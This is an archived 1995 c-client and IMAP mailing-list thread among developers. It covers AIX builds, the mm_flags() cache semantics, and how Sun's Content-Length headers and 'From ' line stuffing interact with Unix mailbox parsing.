Thu, 5 Jan 1995 11:16:57 +0900 Received: by brlns0.ntt.jp (8.6.9/core*brl.mx13) with TCP; Thu, 5 Jan 1995 11:16:57 +0900 Received: by ntt-20.ntt.jp (5.67+1.6W/core*brl.s5) with TCP; Thu, 5 Jan 95 11:16:56 +0900 Date: Thu, 5 Jan 1995 11:16:55 +0900 (JST) From: Mark Crispin X-Sender: mrc@Appercept To: Tim Bell Cc: c-client@cac.washington.edu Subject: Re: c-client for RS/6000 In-Reply-To: <9501041941.AA19119@sp049.cern.ch> Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII AIX 3.2 is supported by the a32 port, that is, "make a32". There is only one Makefile for all flavors of UNIX in modern c-client sources. On Wed, 4 Jan 1995, Tim Bell wrote: > I'm looking for a Makefile for the c-client code > for RS/6000 running AIX 3.2.5. > > Can you help me out ? > > Tim. > > From pinedev@shivax2.cac.washington.edu Thu Jan 12 16:34:38 1995 -0700 Return-Path: Received: from mx2.cac.washington.edu by shivams.cac.washington.edu (5.65+UW94.10/UW-NDC Revision: 2.32 ) id AA11401; Thu, 12 Jan 95 16:34:38 -0800 Received: by mx2.cac.washington.edu (5.65+UW94.10/UW-NDC Revision: 2.31 ) id AA06068; Thu, 12 Jan 95 16:34:06 -0800 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from CAMIS.Stanford.EDU by mx2.cac.washington.edu (5.65+UW94.10/UW-NDC Revision: 2.31 ) id AA06062; Thu, 12 Jan 95 16:34:03 -0800 Received: from camis.Stanford.EDU (mtm@CAMIS.Stanford.EDU [36.44.0.7]) by CAMIS.Stanford.EDU (8.6.8.1/8.6.5) with SMTP id QAA15825; Thu, 12 Jan 1995 16:34:01 -0800 Date: Thu, 12 Jan 1995 16:34:00 -0800 (PST) From: Mike Macgirvin Reply-To: Mike Macgirvin Subject: mm_flags() To: c-client@cac.washington.edu Cc: mrc@cac.washington.edu, Mike_Macgirvin@CAMIS.Stanford.EDU Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII I'm trying to figure out how best to manage flag updates with the 3.6-BETA (IMAP2bis) c-client. I've got mm_flags() set up to put items into a list whenever called. At check time, or when I know there are going to be changes, I run through the list and call mail_fetchflags() for everything in the list, then empty it out. I can't update flags within mm_flags() because the stream is locked. Anyway, the act of calling mail_fetchflags() on a message (to get the changed flags) results in yet another call to mm_flags() by the c-client. I'm pulling my hair out trying to prevent recursion. An added hassle is that when the flag changes are of my own doing, I get notified right away, and again at mail_ping() time. This is an unfortunate duplication of effort I can probably live with. But to prevent recursion, I put a lock into mm_flags which ignores changes while I'm running through the change list to get the new values. Then I release the lock. Problem is, there's no way I can distinguish if the mm_flags() call was the result of my mail_fetchflags() or another process making changes, which would presumably get reported when the server processes my fetch request. If I just look for duplicated message numbers, and only add an item that isn't already in my list, there's the possibility of a race condition (in fact, a 100% probability thereof). How do other folks manage this mess? mike From pinedev@shivax2.cac.washington.edu Thu Jan 12 18:15:29 1995 -0700 Return-Path: Received: from mx2.cac.washington.edu by shivams.cac.washington.edu (5.65+UW94.10/UW-NDC Revision: 2.32 ) id AA16445; Thu, 12 Jan 95 18:15:29 -0800 Received: by mx2.cac.washington.edu (5.65+UW94.10/UW-NDC Revision: 2.31 ) id AA08288; Thu, 12 Jan 95 18:15:25 -0800 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from mail.ntt.jp by mx2.cac.washington.edu (5.65+UW94.10/UW-NDC Revision: 2.31 ) id AA08282; Thu, 12 Jan 95 18:15:22 -0800 Received: by mail.core.ntt.jp (8.6.9/COREMAIL.4); Fri, 13 Jan 1995 11:15:06 +0900 Received: by brlns0.ntt.jp (8.6.9/core*brl.mx13) with TCP; Fri, 13 Jan 1995 11:15:06 +0900 Received: by ntt-20.ntt.jp (5.67+1.6W/core*brl.s5) with TCP; Fri, 13 Jan 95 11:15:06 +0900 Date: Fri, 13 Jan 1995 11:15:06 +0900 (JST) From: Mark Crispin X-Sender: mrc@Appercept To: Mike Macgirvin Cc: c-client@cac.washington.edu Subject: Re: mm_flags() In-Reply-To: Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII The answer to your question is: "don't do it that way". The code is working the way it is intended to work; the problem is that you don't seem to understand what that intention is. Let's see if this helps: mail_fetchflags() is used only to load the client cache. Once the cache is loaded, you don't need to load it again. In other words, it should be considered to be a one-time call -- if it is ever called. When mm_flags() is called, it is notifying the client that its cache has been updated so it should take a look. So, when you called mail_fetchflags() after mm_flags(), you discarded the cached data that has already been set up for you and replaced it with identical data! All you need to do in response to mm_flags() is get the elt from mail_elt(), then look at the flag bits there. I think that it's alright to call this from mm_flags() since you won't do any stream operations that will provoke the lock. If you're worried about the cache not being set up, you can call mail_fetchstructure() as a safety-belt. mail_fetchstructure() is smart enough not to fetch if the cache is already loaded. However, you can not call mail_fetchstructure() from mm_flags(). That's alright, though, since you won't get to mm_flags() unless the elt is loaded with flags. Just don't assume in mm_flags() that you have the envelope unless that has already been fetched. On Thu, 12 Jan 1995, Mike Macgirvin wrote: > I'm trying to figure out how best to manage flag updates with the > 3.6-BETA (IMAP2bis) c-client. > > I've got mm_flags() set up to put items into a list whenever called. At > check time, or when I know there are going to be changes, I run through the > list and call mail_fetchflags() for everything in the list, then empty it out. > I can't update flags within mm_flags() because the stream is locked. > Anyway, the act of calling mail_fetchflags() on a message (to get the > changed flags) results in yet another call to mm_flags() by the c-client. I'm > pulling my hair out trying to prevent recursion. An added hassle is that when > the flag changes are of my own doing, I get notified right away, and again at > mail_ping() time. This is an unfortunate duplication of effort I can probably > live with. > But to prevent recursion, I put a lock into mm_flags which ignores > changes while I'm running through the change list to get the new values. Then I > release the lock. Problem is, there's no way I can distinguish if the > mm_flags() call was the result of my mail_fetchflags() or another process > making changes, which would presumably get reported when the server processes > my fetch request. If I just look for duplicated message numbers, and only add > an item that isn't already in my list, there's the possibility of a race > condition (in fact, a 100% probability thereof). How do other folks manage this > mess? > > mike > > From pinedev@shivax2.cac.washington.edu Thu Jan 12 19:52:49 1995 -0700 Return-Path: Received: from mx2.cac.washington.edu by shivams.cac.washington.edu (5.65+UW94.10/UW-NDC Revision: 2.32 ) id AA18927; Thu, 12 Jan 95 19:52:49 -0800 Received: by mx2.cac.washington.edu (5.65+UW94.10/UW-NDC Revision: 2.31 ) id AA09840; Thu, 12 Jan 95 19:52:44 -0800 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from CAMIS.Stanford.EDU by mx2.cac.washington.edu (5.65+UW94.10/UW-NDC Revision: 2.31 ) id AA09832; Thu, 12 Jan 95 19:52:42 -0800 Received: (mtm@localhost) by CAMIS.Stanford.EDU (8.6.8.1/8.6.5) id TAA20535; Thu, 12 Jan 1995 19:52:39 -0800 Date: Thu, 12 Jan 1995 19:52:39 -0800 From: Mike Macgirvin Message-Id: <199501130352.TAA20535@CAMIS.Stanford.EDU> To: Mike_Macgirvin@CAMIS.Stanford.EDU, mrc@NTT-20.ntt.jp Subject: Re: mm_flags() Cc: c-client@cac.washington.edu Thanks again Mark -- I've already got a cache pointer, so I can just update my views directly from within the callback. Somewhere in the documentation was mentioned that one needs to invoke mail_fetchflags() on an update to synchronize the client and server, so I blindly followed it. mike From pinedev@shivax2.cac.washington.edu Thu Feb 2 14:36:10 1995 -0700 Return-Path: Received: from mx2.cac.washington.edu by shivams.cac.washington.edu (5.65+UW94.10/UW-NDC Revision: 2.32 ) id AA08456; Thu, 2 Feb 95 14:36:10 -0800 Received: by mx2.cac.washington.edu (5.65+UW94.10/UW-NDC Revision: 2.31 ) id AA05855; Thu, 2 Feb 95 14:33:34 -0800 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from SCSW6.SLAC.Stanford.EDU by mx2.cac.washington.edu (5.65+UW94.10/UW-NDC Revision: 2.31 ) id AA05849; Thu, 2 Feb 95 14:33:30 -0800 Received: from mailbox.SLAC.Stanford.EDU by SCSW6.SLAC.STANFORD.EDU (PMDF V4.3-10 #6987) id <01HMKSM31PG0000GUT@SCSW6.SLAC.STANFORD.EDU>; Thu, 02 Feb 1995 14:34:02 -0800 (PST) Received: from hebe.SLAC.Stanford.EDU (HEBE.SLAC.Stanford.EDU [134.79.16.24]) by mailbox.SLAC.Stanford.EDU (8.6.9/8.6.9) with SMTP id OAA27589 for ; Thu, 2 Feb 1995 14:33:21 -0800 Received: by hebe.SLAC.Stanford.EDU (AIX 3.2/UCB 5.64/SLAC 920508) id AA248960; Thu, 2 Feb 1995 14:33:15 -0800 Date: Thu, 02 Feb 1995 14:33:15 -0800 From: teresa@SLAC.Stanford.EDU Subject: AIX 3.2 Version To: c-client@cac.washington.edu Reply-To: Teresa@SLAC.Stanford.EDU Message-Id: X-Envelope-To: c-client@cac.washington.edu Content-Transfer-Encoding: 7BIT Hello, I'm trying to compile Stanford's XLView 2.3 client and have already built Univ. Washington IMAP 3.6 BETA Server. Stanford's notes say to contact you for the appropriate system makefile. Thank you in advance. -- ____________________________________________________________________ Teresa Downey 415-926-2903 Stanford Linear Accelerator From pinedev@shivax2.cac.washington.edu Thu Feb 2 15:03:52 1995 -0700 Return-Path: Received: from mx2.cac.washington.edu by shivams.cac.washington.edu (5.65+UW94.10/UW-NDC Revision: 2.32 ) id AA09694; Thu, 2 Feb 95 15:03:52 -0800 Received: by mx2.cac.washington.edu (5.65+UW94.10/UW-NDC Revision: 2.31 ) id AA06651; Thu, 2 Feb 95 15:03:48 -0800 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from mailhost1.cac.washington.edu by mx2.cac.washington.edu (5.65+UW94.10/UW-NDC Revision: 2.31 ) id AA06645; Thu, 2 Feb 95 15:03:46 -0800 Received: from tomobiki-cho.cac.washington.edu by mailhost1.cac.washington.edu (5.65+UW94.10/UW-NDC Revision: 2.32 ) id AA26303; Thu, 2 Feb 95 15:03:28 -0800 Date: Thu, 2 Feb 1995 15:03:27 -0800 (PST) From: Mark Crispin To: teresa@SLAC.Stanford.EDU Cc: c-client@cac.washington.edu Subject: Re: AIX 3.2 Version In-Reply-To: Message-Id: Organization: Pandamonium Reigns Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII On Thu, 2 Feb 1995 teresa@SLAC.Stanford.EDU wrote: > Hello, I'm trying to compile Stanford's XLView 2.3 client and have > already built Univ. Washington IMAP 3.6 BETA Server. Stanford's > notes say to contact you for the appropriate system makefile. Hello. I'm not sure what Stanford's notes mean by that comment, but you already have anything you need, from us anyway. I suggest that you contact the Stanford people if you need additional assistance. From pinedev@shivax2.cac.washington.edu Thu Feb 2 15:49:30 1995 -0700 Return-Path: Received: from mx2.cac.washington.edu by shivams.cac.washington.edu (5.65+UW94.10/UW-NDC Revision: 2.32 ) id AA11961; Thu, 2 Feb 95 15:49:30 -0800 Received: by mx2.cac.washington.edu (5.65+UW94.10/UW-NDC Revision: 2.31 ) id AA07779; Thu, 2 Feb 95 15:49:20 -0800 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from mcs-ipc-4.Stanford.EDU by mx2.cac.washington.edu (5.65+UW94.10/UW-NDC Revision: 2.31 ) id AA07773; Thu, 2 Feb 95 15:49:19 -0800 Received: from mcs-ipc-4.Stanford.EDU (mtm@mcs-ipc-4.Stanford.EDU [36.44.0.14]) by mcs-ipc-4.Stanford.EDU (8.6.8.1/8.6.5) with SMTP id PAA11905; Thu, 2 Feb 1995 15:48:26 -0800 Date: Thu, 2 Feb 1995 15:13:59 -0800 (PST) From: Mike Macgirvin Reply-To: Mike_Macgirvin@CAMIS.Stanford.EDU Subject: RE: AIX 3.2 Version To: Teresa@SLAC.Stanford.EDU Cc: c-client@cac.washington.edu In-Reply-To: teresa@SLAC.Stanford.EDU's message of Thu, 02 Feb 1995 14:33:15 -0800: Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII writes: > Hello, I'm trying to compile Stanford's XLView 2.3 client and > have already built Univ. Washington IMAP 3.6 BETA Server. > Stanford's notes say to contact you for the appropriate system makefile. Teresa, the xlview program didn't come with the full imap distribution. What you should do is to replace xlview's c-client with that from your server. cd xlview_source_dir mv Client old-Client ln -s imap-client-dir Client xmkmf make The only tricky part is the ln command. I don't know if AIX supports symlinks. If not, ignore the "-s". "imap_client_dir" should be wherever your IMAP c-client directory is, which is contained within the IMAP source directory (actually linked to "systype/c-client" but that just confuses the issue). If I have IMAP sources in "~/mailprogs", the command would be: ln -s ~/mailprogs/imap/c-client Client Hope this helps. mike From pinedev@shivax2.cac.washington.edu Wed Mar 22 13:42:05 1995 -0700 Return-Path: Received: from mx2.cac.washington.edu by shivams.cac.washington.edu (5.65+UW95.02/UW-NDC Revision: 2.32 ) id AA03493; Wed, 22 Mar 95 13:42:05 -0800 Received: by mx2.cac.washington.edu (5.65+UW95.02/UW-NDC Revision: 2.32 ) id AA25342; Wed, 22 Mar 95 13:34:18 -0800 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from xray.li.icl.se by mx2.cac.washington.edu (5.65+UW95.02/UW-NDC Revision: 2.32 ) id AA24896; Wed, 22 Mar 95 13:15:02 -0800 Received: from pctomku (pctomku.li.icl.se [140.150.80.86]) by xray.pro.icl.se (8.6.9/tomku_950129) with ESMTP id WAA00870; Wed, 22 Mar 1995 22:14:59 +0100 Message-Id: <199503222114.WAA00870@xray.pro.icl.se> Date: Wed, 22 Mar 1995 22:14:23 +0100 From: Tomas Kullman Reply-To: tomas.kullman@pro.icl.se Subject: SUN and the Content-Length header field To: c-client@cac.washington.edu, imap@cac.washington.edu X-Mailer: EMBLA 1.1 Mime-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII I have received complaints about the WU imap daemon trashing mail folders on SUN systems. It is said to disregard the Content-Length: header field, which is added at time of delivery. As a consequence of SUN making use of this field, lines beginning with "From " are not quoted or prefixed. The daemon is accused to split (presumably non-MIME) messages due to the existence of the "From " lines. I would like to hear any comments on this and suggestions to deal with this. Regards, -- Tomas Kullman Embla Development Team ICL ProSystems AB SWEDEN From pinedev@shivax2.cac.washington.edu Wed Mar 22 14:22:03 1995 -0700 Return-Path: Received: from mx1.cac.washington.edu by shivams.cac.washington.edu (5.65+UW95.02/UW-NDC Revision: 2.32 ) id AA05425; Wed, 22 Mar 95 14:22:03 -0800 Received: by mx1.cac.washington.edu (5.65+UW95.02/UW-NDC Revision: 2.32 ) id AA07466; Wed, 22 Mar 95 14:14:23 -0800 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from is.rice.edu by mx1.cac.washington.edu (5.65+UW95.02/UW-NDC Revision: 2.32 ) id AA07039; Wed, 22 Mar 95 13:56:03 -0800 Received: from navasota.is.rice.edu by is.rice.edu (AA09605); Wed, 22 Mar 95 15:55:56 CST Received: by navasota.is.rice.edu (AA25963); Wed, 22 Mar 95 15:55:50 CST Date: Wed, 22 Mar 1995 15:55:50 -0600 (CST) From: Rick Troth Subject: Re: SUN and the Content-Length header field To: Tomas Kullman Cc: c-client@cac.washington.edu, imap@cac.washington.edu In-Reply-To: <199503222114.WAA00870@xray.pro.icl.se> Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII > I have received complaints about the WU imap daemon trashing mail folders on > SUN systems. It is said to disregard the Content-Length: header field, which > is added at time of delivery. As a consequence of SUN making use of this > field, lines beginning with "From " are not quoted or prefixed. The daemon > is accused to split (presumably non-MIME) messages due to the existence of > the "From " lines. Stamp out Content-Length headers in our lifetime. > I would like to hear any comments on this and suggestions to deal with this. > > Regards, > -- > Tomas Kullman > Embla Development Team > ICL ProSystems AB > SWEDEN > > -- Rick Troth , Rice University, Information Systems http://is.rice.edu/~troth/ From pinedev@shivax2.cac.washington.edu Wed Mar 22 15:00:12 1995 -0700 Return-Path: Received: from mx2.cac.washington.edu by shivams.cac.washington.edu (5.65+UW95.02/UW-NDC Revision: 2.32 ) id AA07185; Wed, 22 Mar 95 15:00:12 -0800 Received: by mx2.cac.washington.edu (5.65+UW95.02/UW-NDC Revision: 2.32 ) id AA27318; Wed, 22 Mar 95 14:58:30 -0800 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from mailhost1.cac.washington.edu by mx2.cac.washington.edu (5.65+UW95.02/UW-NDC Revision: 2.32 ) id AA26867; Wed, 22 Mar 95 14:40:20 -0800 Received: from UW-Gateway.Panda.COM by mailhost1.cac.washington.edu (5.65+UW95.02/UW-NDC Revision: 2.32 ) id AA20199; Wed, 22 Mar 95 14:40:02 -0800 Date: Wed, 22 Mar 1995 14:39:59 -0800 (PST) From: Mark Crispin To: Tomas Kullman Cc: c-client Interest List , IMAP Interest List Subject: Re: SUN and the Content-Length header field In-Reply-To: <199503222114.WAA00870@xray.pro.icl.se> Message-Id: Organization: Pandamonium Reigns Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII The claim is technically accurate, although I would not use that wording in describing the situation. AT&T and SUN do not use standard Unix format mail. Instead, they use something that looks like Unix format mail, but depends upon an extremely fragile and unrobust octet count. Details are in a paper I wrote "Content-Length Considered Harmful"; among other aspects of bad design this count is generated by the originating MUA. It is technically infeasible to support Content-Length without making the Unix format mail algorithms considerably slower and less robust. What is worse, on systems whose mailers do *not* use Content-Length, it would become a security bug (actually, two different bugs). The means to deal with this is, if you are using a SUN or AT&T system, to replace the broken mail delivery agent invoked by sendmail (generally this is /bin/mail) with a program that does the right thing, such as Steve Hubert's sendit. Many sites have done this and have reported good results. I think that sendit is available for ftp'ing, but if not I'll look into making it available. -- Mark -- DoD #0105, R90/6 pilot FAX: (206) 842-0758 ICBM: N 47.36'24" W 122.34'08" TOPS-20: A Great Improvement Over Its Successors On Wed, 22 Mar 1995, Tomas Kullman wrote: > I have received complaints about the WU imap daemon trashing mail folders on > SUN systems. It is said to disregard the Content-Length: header field, which > is added at time of delivery. As a consequence of SUN making use of this > field, lines beginning with "From " are not quoted or prefixed. The daemon > is accused to split (presumably non-MIME) messages due to the existence of > the "From " lines. > > I would like to hear any comments on this and suggestions to deal with this. From pinedev@shivax2.cac.washington.edu Wed Mar 22 15:00:16 1995 -0700 Return-Path: Received: from mx2.cac.washington.edu by shivams.cac.washington.edu (5.65+UW95.02/UW-NDC Revision: 2.32 ) id AA07204; Wed, 22 Mar 95 15:00:16 -0800 Received: by mx2.cac.washington.edu (5.65+UW95.02/UW-NDC Revision: 2.32 ) id AA27363; Wed, 22 Mar 95 15:00:06 -0800 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from koriel.Sun.COM by mx2.cac.washington.edu (5.65+UW95.02/UW-NDC Revision: 2.32 ) id AA27229; Wed, 22 Mar 95 14:55:24 -0800 Received: from Eng.Sun.COM (engmail2.Eng.Sun.COM) by Sun.COM (sun-barr.Sun.COM) id AA06656; Wed, 22 Mar 95 14:51:38 PST Received: from hape.eng.sun.com (hape-103.Eng.Sun.COM) by Eng.Sun.COM (5.x/SMI-5.3) id AA23978; Wed, 22 Mar 1995 14:51:15 -0800 Received: from roam by hape.eng.sun.com (5.x/SMI-SVR4) id AA22852; Wed, 22 Mar 1995 14:51:16 -0800 Date: Wed, 22 Mar 1995 14:53:27 -0800 (PST) From: Bill Yeager Reply-To: Bill Yeager Subject: Re: SUN and the Content-Length header field To: c-client@cac.washington.edu, imap@cac.washington.edu, tomas.kullman@pro.icl.se Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Content-Transfer-Encoding: QUOTED-PRINTABLE Well, I wrote a solaris driver that takes care of content-length. Too bad it is not always right, ie, the content length is sometimes wrong. This leads to lots of difficulties in the parse, and occasionally a spit message if the client sending the message is not self defensive. This is because V3 Sun Attachments generated by MailTool=20 forward the ENTIRE message including the hidden from line when=20 someone forwards a message. This is really a bug that will never be fixed. Me, I will INTENTIONALLY "From stuff" when sending a message in Sun Attachment format because quote-printable is not recognized in this format. Otherwise, one can replace those "From "'s in col. 1 with "=3D46rom " and suitably set the content encoding. A better idea is just to configure sendmail to "From stuff."=20 This is a can of worms. You can believe me! Bill From pinedev@shivax2.cac.washington.edu Fri Mar 24 01:09:47 1995 -0700 Return-Path: Received: from mx2.cac.washington.edu by shivams.cac.washington.edu (5.65+UW95.02/UW-NDC Revision: 2.32 ) id AA22402; Fri, 24 Mar 95 01:09:47 -0800 Received: by mx2.cac.washington.edu (5.65+UW95.02/UW-NDC Revision: 2.32 ) id AA06193; Fri, 24 Mar 95 01:09:35 -0800 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from xray.li.icl.se by mx2.cac.washington.edu (5.65+UW95.02/UW-NDC Revision: 2.32 ) id AA06037; Fri, 24 Mar 95 01:04:05 -0800 Received: from pctomku (pctomku.li.icl.se [140.150.80.86]) by xray.pro.icl.se (8.6.9/tomku_950129) with ESMTP id KAA06263; Fri, 24 Mar 1995 10:03:21 +0100 Message-Id: <199503240903.KAA06263@xray.pro.icl.se> Date: Fri, 24 Mar 1995 10:02:38 +0100 From: Tomas Kullman Reply-To: Tomas Kullman Subject: Re: SUN and the Content-Length header field To: Bill Yeager , c-client@cac.washington.edu, imap@cac.washington.edu, tomas.kullman@pro.icl.se X-Mailer: EMBLA 1.1 Mime-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII > Well, I wrote a solaris driver that takes care of content-length. Too bad > it is not always right, ie, the content length is sometimes wrong. This > leads to lots of difficulties in the parse, and occasionally a spit message > if the client sending the message is not self defensive. Bill, is this driver available to be accuired by the customer to solve his problem (even if only temporarily since SUN have to deal with this sooner or later)? There are strong requirements to be able to coexist and share mailboxes with SUN Mailtool. Bill, have you a clue when and why content-length get corrupted? If it's generated at delivery it seems to be created in a controlled environment and should be concistent. I haven't seen any complains of corrupted mailboxes in the SUN related newsgroups. > This is because V3 Sun Attachments generated by MailTool > forward the ENTIRE message including the hidden from line when > someone forwards a message. This is really a bug that will never > be fixed. Me, I will INTENTIONALLY "From stuff" when sending a Yeah, I had a feeling this was introduced with Solaris2. Too bad. > This is a can of worms. You can believe me! Well, I _do_ believe you! The sad thing is that customers tend to blame the third party vendors, not the platform providers causing the problem by lousy implementations. -- Tomas From pinedev@shivax2.cac.washington.edu Fri Mar 24 02:14:50 1995 -0700 Return-Path: Received: from mx2.cac.washington.edu by shivams.cac.washington.edu (5.65+UW95.02/UW-NDC Revision: 2.32 ) id AA24272; Fri, 24 Mar 95 02:14:50 -0800 Received: by mx2.cac.washington.edu (5.65+UW95.02/UW-NDC Revision: 2.32 ) id AA07086; Fri, 24 Mar 95 02:14:42 -0800 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from xray.li.icl.se by mx2.cac.washington.edu (5.65+UW95.02/UW-NDC Revision: 2.32 ) id AA07074; Fri, 24 Mar 95 02:14:28 -0800 Received: from pctomku (pctomku.li.icl.se [140.150.80.86]) by xray.pro.icl.se (8.6.9/tomku_950129) with ESMTP id LAA06660; Fri, 24 Mar 1995 11:05:58 +0100 Message-Id: <199503241005.LAA06660@xray.pro.icl.se> Date: Fri, 24 Mar 1995 11:05:19 +0100 From: Tomas Kullman Reply-To: Tomas Kullman Subject: Re: SUN and the Content-Length header field To: Mark Crispin , Tomas Kullman Cc: IMAP Interest List , c-client Interest List X-Mailer: EMBLA 1.1 Mime-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII > AT&T and SUN do not use standard Unix format mail. Instead, they use > something that looks like Unix format mail, but depends upon an extremely > fragile and unrobust octet count. Details are in a paper I wrote > "Content-Length Considered Harmful"; among other aspects of bad design > this count is generated by the originating MUA. Ah, is it really so? I thought it was generated at delivery. Wow, then I understand your stand better. It sure is bad design not to regenerate this at final delivery. Is your paper available online somewhere or can you send it to me? > It is technically infeasible to support Content-Length without making the > Unix format mail algorithms considerably slower and less robust. What is > worse, on systems whose mailers do *not* use Content-Length, it would > become a security bug (actually, two different bugs). Well, large mailboxes in berkeley format isn't that blindingly fast either. I thought content-length was invented to overcome this by allowing to skip large messages without a need to parse through it all. > The means to deal with this is, if you are using a SUN or AT&T system, to > replace the broken mail delivery agent invoked by sendmail (generally this > is /bin/mail) with a program that does the right thing, such as Steve > Hubert's sendit. Many sites have done this and have reported good results. > > I think that sendit is available for ftp'ing, but if not I'll look into > making it available. This sounds to be a reasonable approach, can you provide a pointer? -- Tomas From pinedev@shivax2.cac.washington.edu Fri Mar 24 09:12:43 1995 -0700 Return-Path: Received: from mx1.cac.washington.edu by shivams.cac.washington.edu (5.65+UW95.02/UW-NDC Revision: 2.32 ) id AA09549; Fri, 24 Mar 95 09:12:43 -0800 Received: by mx1.cac.washington.edu (5.65+UW95.02/UW-NDC Revision: 2.32 ) id AA25671; Fri, 24 Mar 95 09:12:29 -0800 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from koriel.Sun.COM by mx1.cac.washington.edu (5.65+UW95.02/UW-NDC Revision: 2.32 ) id AA25641; Fri, 24 Mar 95 09:11:33 -0800 Received: from Eng.Sun.COM (engmail2.Eng.Sun.COM) by Sun.COM (sun-barr.Sun.COM) id AA24040; Fri, 24 Mar 95 09:11:20 PST Received: from hape.eng.sun.com by Eng.Sun.COM (5.x/SMI-5.3) id AA16833; Fri, 24 Mar 1995 09:11:27 -0800 Received: from roam by hape.eng.sun.com (5.x/SMI-SVR4) id AA05817; Fri, 24 Mar 1995 09:11:28 -0800 Date: Fri, 24 Mar 1995 09:13:38 -0800 (PST) From: Bill Yeager Reply-To: Bill Yeager Subject: Re: SUN and the Content-Length header field To: William.Yeager@Eng.Sun.COM, c-client@cac.washington.edu, imap@cac.washington.edu, tomas.kullman@pro.icl.se, tomas.kullman@pro.icl.se.pro.icl.se Cc: Satish.Ramachandran@Eng.Sun.COM, Lilly.Shieh@Eng.Sun.COM Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=ISO-2022-JP > Bill, is this driver available to be accuired by the customer to solve his > problem (even if only temporarily since SUN have to deal with this sooner or > later)? There are strong requirements to be able to coexist and share > mailboxes > with SUN Mailtool. There are plans to make this imapd available. The intent of the imapd was interoperability between SUN MailTool and imap based clients such as the one we are working on now, and that I am using. IT is called Roam and it too will be made available. Roam also permits disconnected mail management. These two tools allow sun v3 attachments and MIME to cooexist in the same mailbox. This is accomplished by translating V3 format to MIME, and the user has the option to keep the translation or discard it. > Bill, have you a clue when and why content-length get corrupted? If it's > generated at delivery it seems to be created in a controlled environment and > should be concistent. I haven't seen any complains of corrupted mailboxes in > the SUN related newsgroups. We just ran some tests yesterday here to check this out. /bin/mail does recompute the content length EVEN IF the MUA includes a content length, and this latter content length is correct. This has been true since solaris 2.1. What we were seeing was errors in Content-Length when attachments under V3 Sun attachments were from stuffed. As you might recall, these attachments ALSO have content lengths, and these internal lengths were NOT corrected, and at the same time the total content length was wrong. The BUG here is enabling from stuffing when V3 attachments are used. The problem may be unique to Sun, I don't know, because there are people who still use sunos 4.x mail tools and NFS mount solaris 2.4 /var/mail/ to read their mail. So, if there is NO from stuffing, then things won't work for them. Pretty stupid from my point of view but I have to live with it. So, for v3 attachments our roam from stuffs sun attachments before computing the content length of each attachment. We can discuss this more offline if you wish, and I can give you more info about what is available and maybe when. > I haven't seen any complains of corrupted mailboxes in > the SUN related newsgroups. We can also discuss why this is true offline. I only close by saying there was an article Computer World or some such about two weeks ago announcing a new Mission Critical Mail program at SunSoft. This project is well underway and is addressing all of these issues and many more. As mentioned there, Roam will be used as a client. This is the project I am now working on. SUN is very serious about solving the email problem. Bill From pinedev@shivax2.cac.washington.edu Fri Mar 24 09:27:21 1995 -0700 Return-Path: Received: from mx1.cac.washington.edu by shivams.cac.washington.edu (5.65+UW95.02/UW-NDC Revision: 2.32 ) id AA10551; Fri, 24 Mar 95 09:27:21 -0800 Received: by mx1.cac.washington.edu (5.65+UW95.02/UW-NDC Revision: 2.32 ) id AA26095; Fri, 24 Mar 95 09:26:59 -0800 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from koriel.Sun.COM by mx1.cac.washington.edu (5.65+UW95.02/UW-NDC Revision: 2.32 ) id AA26089; Fri, 24 Mar 95 09:26:58 -0800 Received: from Eng.Sun.COM (engmail2.Eng.Sun.COM) by Sun.COM (sun-barr.Sun.COM) id AA25267; Fri, 24 Mar 95 09:19:08 PST Received: from hape.eng.sun.com (hape-103.Eng.Sun.COM) by Eng.Sun.COM (5.x/SMI-5.3) id AA17887; Fri, 24 Mar 1995 09:19:13 -0800 Received: from roam by hape.eng.sun.com (5.x/SMI-SVR4) id AA05888; Fri, 24 Mar 1995 09:19:14 -0800 Date: Fri, 24 Mar 1995 09:21:23 -0800 (PST) From: Bill Yeager Reply-To: Bill Yeager Subject: Re: SUN and the Content-Length header field To: mrc@Panda.COM, tomas.kullman@pro.icl.se, tomas.kullman@pro.icl.se.pro.icl.se Cc: IMAP@cac.washington.edu, c-client@cac.washington.edu Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=ISO-2022-JP > Well, large mailboxes in berkeley format isn't that blindingly fast either. > I thought content-length was invented to overcome this by allowing to skip > large messages without a need to parse through it all. This is in fact true. Content-Length is there for two reasons. 1) One need not ">From " in a message body. 2) One can skip over the message body. Of course, one still needs to find the content-length header, but the processing time is in the noise. So, the solaris imapd does take advantage of content-length to skip message bodies. As Mark will probably point out, there is a better approach provided by TENEX box format. Too bad that Content-Length is not the first 